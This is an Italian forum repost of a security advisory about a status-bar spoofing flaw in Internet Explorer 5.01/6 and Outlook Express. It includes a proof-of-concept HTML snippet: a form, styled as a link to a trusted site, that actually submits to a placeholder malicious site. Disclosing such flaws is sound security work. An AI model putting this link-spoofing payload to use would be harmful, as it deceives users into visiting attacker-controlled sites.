Originalmente inviato da zone-h.it
http-equiv ha scoperto una falla in Internet Explorer,che può essere sfruttata
per indurre un utente a visitare siti arbitrari.
Normalmente è possibile con script e codici manipolare le in informazioni visibili
nella status bar, un errore presente in Internet Explorer permette la manipolazione
della status bar senza usare alcun scipt o codice. Questo può essere sfruttato per
immettere forme arbitrarie in un link.
Esempio
[code:1:e01c0ed05a]
<A HREF="http://[trusted_site]/">
<FORM action=http://[malicious_site]/ method=get>
<INPUT style="BORDER-RIGHT: 0pt; BORDER-TOP: 0pt; FONT-SIZE: 10pt;
BORDER-LEFT: 0pt; CURSOR: hand; COLOR: blue; BORDER-BOTTOM: 0pt;
BACKGROUND-COLOR: transparent; TEXT-DECORATION: underline"
type=submit value=http://[trusted_site]/>
</A>
[/code:1:e01c0ed05a]
Questa falla è presente anche in Outlook Express che usa la stessa funzionalità HTML
di Internet Explorer.Gli utenti di Outlook Express possono fidarsi delle informazioni
visualizzate nella status bar se i documenti HTML vengono visualizzati nella "Restricted
zone",zona "limitata" con il supporto scripting disabilitato.
La vulnerabilità ha successo quando un utente viene indotto a visitare siti arbitrari
tramite link contraffatti.
Il problema è confermato nella versione 5.01 e 6, anche la versione 5.5 probabilmente
ne è affetta.
Soluzione
Mai visitare link provenienti da sorgenti insicure.
